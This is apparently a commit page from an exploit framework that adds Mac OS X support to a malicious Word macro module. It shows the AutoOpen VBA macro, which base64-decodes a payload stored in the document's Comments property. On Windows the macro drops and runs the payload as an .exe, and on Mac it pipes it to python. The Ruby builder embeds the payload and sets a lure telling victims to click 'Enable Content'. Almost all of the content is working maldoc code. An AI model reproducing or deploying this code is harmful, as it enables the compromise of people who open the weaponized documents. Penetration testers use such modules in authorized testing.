Skip to content

Commit 3d269b4

Browse files
committed
Support OS X for Microsoft Office macro exploit
1 parent 082ebe2 commit 3d269b4

File tree

4 files changed

+43
-26
lines changed

4 files changed

+43
-26
lines changed

data/exploits/office_word_macro/word/vbaData.xml

100644100755
Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -1,2 +1,2 @@
11
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
2-
<wne:vbaSuppData xmlns:wpc="http://schemas.microsoft.com/office/word/2010/wordprocessingCanvas" xmlns:mc="http://schemas.openxmlformats.org/markup-compatibility/2006" xmlns:o="urn:schemas-microsoft-com:office:office" xmlns:r="http://schemas.openxmlformats.org/officeDocument/2006/relationships" xmlns:m="http://schemas.openxmlformats.org/officeDocument/2006/math" xmlns:v="urn:schemas-microsoft-com:vml" xmlns:wp14="http://schemas.microsoft.com/office/word/2010/wordprocessingDrawing" xmlns:wp="http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawing" xmlns:w10="urn:schemas-microsoft-com:office:word" xmlns:w="http://schemas.openxmlformats.org/wordprocessingml/2006/main" xmlns:w14="http://schemas.microsoft.com/office/word/2010/wordml" xmlns:w15="http://schemas.microsoft.com/office/word/2012/wordml" xmlns:wpg="http://schemas.microsoft.com/office/word/2010/wordprocessingGroup" xmlns:wpi="http://schemas.microsoft.com/office/word/2010/wordprocessingInk" xmlns:wne="http://schemas.microsoft.com/office/word/2006/wordml" xmlns:wps="http://schemas.microsoft.com/office/word/2010/wordprocessingShape" mc:Ignorable="w14 w15 wp14"><wne:mcds><wne:mcd wne:macroName="PROJECT.NEWMACROS.AUTOOPEN" wne:name="Project.NewMacros.AutoOpen" wne:bEncrypt="00" wne:cmg="56"/></wne:mcds></wne:vbaSuppData>
2+
<wne:vbaSuppData xmlns:wpc="http://schemas.microsoft.com/office/word/2010/wordprocessingCanvas" xmlns:cx="http://schemas.microsoft.com/office/drawing/2014/chartex" xmlns:cx1="http://schemas.microsoft.com/office/drawing/2015/9/8/chartex" xmlns:cx2="http://schemas.microsoft.com/office/drawing/2015/10/21/chartex" xmlns:cx3="http://schemas.microsoft.com/office/drawing/2016/5/9/chartex" xmlns:cx4="http://schemas.microsoft.com/office/drawing/2016/5/10/chartex" xmlns:cx5="http://schemas.microsoft.com/office/drawing/2016/5/11/chartex" xmlns:mc="http://schemas.openxmlformats.org/markup-compatibility/2006" xmlns:o="urn:schemas-microsoft-com:office:office" xmlns:r="http://schemas.openxmlformats.org/officeDocument/2006/relationships" xmlns:m="http://schemas.openxmlformats.org/officeDocument/2006/math" xmlns:v="urn:schemas-microsoft-com:vml" xmlns:wp14="http://schemas.microsoft.com/office/word/2010/wordprocessingDrawing" xmlns:wp="http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawing" xmlns:w10="urn:schemas-microsoft-com:office:word" xmlns:w="http://schemas.openxmlformats.org/wordprocessingml/2006/main" xmlns:w14="http://schemas.microsoft.com/office/word/2010/wordml" xmlns:w15="http://schemas.microsoft.com/office/word/2012/wordml" xmlns:w16se="http://schemas.microsoft.com/office/word/2015/wordml/symex" xmlns:wpg="http://schemas.microsoft.com/office/word/2010/wordprocessingGroup" xmlns:wpi="http://schemas.microsoft.com/office/word/2010/wordprocessingInk" xmlns:wne="http://schemas.microsoft.com/office/word/2006/wordml" xmlns:wps="http://schemas.microsoft.com/office/word/2010/wordprocessingShape" mc:Ignorable="w14 w15 w16se wp14"><wne:mcds><wne:mcd wne:macroName="PROJECT.NEWMACROS.AUTOOPEN" wne:name="Project.NewMacros.AutoOpen" wne:bEncrypt="00" wne:cmg="56"/></wne:mcds></wne:vbaSuppData>

data/exploits/office_word_macro/word/vbaProject.bin

100644100755
5 KB
Binary file not shown.

external/source/exploits/office_word_macro/macro.vba

Lines changed: 23 additions & 19 deletions
Original file line numberDiff line numberDiff line change
@@ -1,3 +1,5 @@
1+
Public Declare PtrSafe Function system Lib "libc.dylib" (ByVal command As String) As Long
2+
13
Sub AutoOpen()
24
On Error Resume Next
35
Dim found_value As String
@@ -6,17 +8,31 @@ Sub AutoOpen()
68
If prop.Name = "Comments" Then
79
found_value = Mid(prop.Value, 56)
810
orig_val = Base64Decode(found_value)
9-
Set fso = CreateObject("Scripting.FileSystemObject")
10-
tmp_folder = fso.GetSpecialFolder(2)
11-
tmp_name = tmp_folder + "\" + fso.GetTempName() + ".exe"
12-
Set f = fso.createTextFile(tmp_name)
13-
f.Write (orig_val)
14-
f.Close
15-
CreateObject("WScript.Shell").Run (tmp_name)
11+
#If Mac Then
12+
ExecuteForOSX (orig_val)
13+
#Else
14+
ExecuteForWindows (orig_val)
15+
#End If
16+
Exit For
1617
End If
1718
Next
1819
End Sub
1920

21+
Sub ExecuteForWindows(code)
22+
On Error Resume Next
23+
Set fso = CreateObject("Scripting.FileSystemObject")
24+
tmp_folder = fso.GetSpecialFolder(2)
25+
tmp_name = tmp_folder + "\" + fso.GetTempName() + ".exe"
26+
Set f = fso.createTextFile(tmp_name)
27+
f.Write (code)
28+
f.Close
29+
CreateObject("WScript.Shell").Run (tmp_name)
30+
End Sub
31+
32+
Sub ExecuteForOSX(code)
33+
system ("echo """ & code & """ | python &")
34+
End Sub
35+
2036

2137
' Decodes a base-64 encoded string (BSTR type).
2238
' 1999 - 2004 Antonin Foller, http://www.motobit.com
@@ -27,31 +43,23 @@ Function Base64Decode(ByVal base64String)
2743
Const Base64 = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/"
2844
Dim dataLength, sOut, groupBegin
2945

30-
'remove white spaces, If any
3146
base64String = Replace(base64String, vbCrLf, "")
3247
base64String = Replace(base64String, vbTab, "")
3348
base64String = Replace(base64String, " ", "")
3449

35-
'The source must consists from groups with Len of 4 chars
3650
dataLength = Len(base64String)
3751
If dataLength Mod 4 <> 0 Then
3852
Err.Raise 1, "Base64Decode", "Bad Base64 string."
3953
Exit Function
4054
End If
4155

4256

43-
' Now decode each group:
4457
For groupBegin = 1 To dataLength Step 4
4558
Dim numDataBytes, CharCounter, thisChar, thisData, nGroup, pOut
46-
' Each data group encodes up To 3 actual bytes.
4759
numDataBytes = 3
4860
nGroup = 0
4961

5062
For CharCounter = 0 To 3
51-
' Convert each character into 6 bits of data, And add it To
52-
' an integer For temporary storage. If a character is a '=', there
53-
' is one fewer data byte. (There can only be a maximum of 2 '=' In
54-
' the whole string.)
5563

5664
thisChar = Mid(base64String, groupBegin + CharCounter, 1)
5765

@@ -69,18 +77,14 @@ Function Base64Decode(ByVal base64String)
6977
nGroup = 64 * nGroup + thisData
7078
Next
7179

72-
'Hex splits the long To 6 groups with 4 bits
7380
nGroup = Hex(nGroup)
7481

75-
'Add leading zeros
7682
nGroup = String(6 - Len(nGroup), "0") & nGroup
7783

78-
'Convert the 3 byte hex integer (6 chars) To 3 characters
7984
pOut = Chr(CByte("&H" & Mid(nGroup, 1, 2))) + _
8085
Chr(CByte("&H" & Mid(nGroup, 3, 2))) + _
8186
Chr(CByte("&H" & Mid(nGroup, 5, 2)))
8287

83-
'add numDataBytes characters To out string
8488
sOut = sOut & Left(pOut, numDataBytes)
8589
Next
8690

modules/exploits/windows/fileformat/office_word_macro.rb

Lines changed: 19 additions & 6 deletions
Original file line numberDiff line numberDiff line change
@@ -36,18 +36,30 @@ def initialize(info={})
3636
'EXITFUNC' => 'thread',
3737
'DisablePayloadHandler' => true
3838
},
39-
'Platform' => 'win',
4039
'Targets' =>
4140
[
42-
['Microsoft Office Word', {}],
41+
[
42+
'Microsoft Office Word on Windows',
43+
{
44+
'Platform' => 'win',
45+
}
46+
],
47+
[
48+
'Microsoft Office Word on Mac OS X (Python)',
49+
{
50+
'Platform' => 'python',
51+
'Arch' => ARCH_PYTHON
52+
}
53+
]
4354
],
4455
'Privileged' => false,
45-
'DisclosureDate' => "Jan 10 2012",
46-
'DefaultTarget' => 0
56+
'DisclosureDate' => "Jan 10 2012"
4757
))
4858

4959
register_options([
50-
OptString.new("BODY", [false, 'The message for the document body', '']),
60+
OptString.new("BODY", [false, 'The message for the document body',
61+
'Contents of this document are protected. Please click Enable Content to continue.'
62+
]),
5163
OptString.new('FILENAME', [true, 'The Office document macro file', 'msf.docm'])
5264
], self.class)
5365
end
@@ -60,8 +72,9 @@ def on_file_read(short_fname, full_fname)
6072
when /document\.xml/
6173
buf.gsub!(/DOCBODYGOESHER/, datastore['BODY'])
6274
when /core\.xml/
75+
p = target.name =~ /Python/ ? payload.encoded : generate_payload_exe
6376
b64_payload = ' ' * 55
64-
b64_payload << Rex::Text.encode_base64(generate_payload_exe)
77+
b64_payload << Rex::Text.encode_base64(p)
6578
buf.gsub!(/PAYLOADGOESHERE/, b64_payload)
6679
end
6780

0 commit comments

Comments
 (0)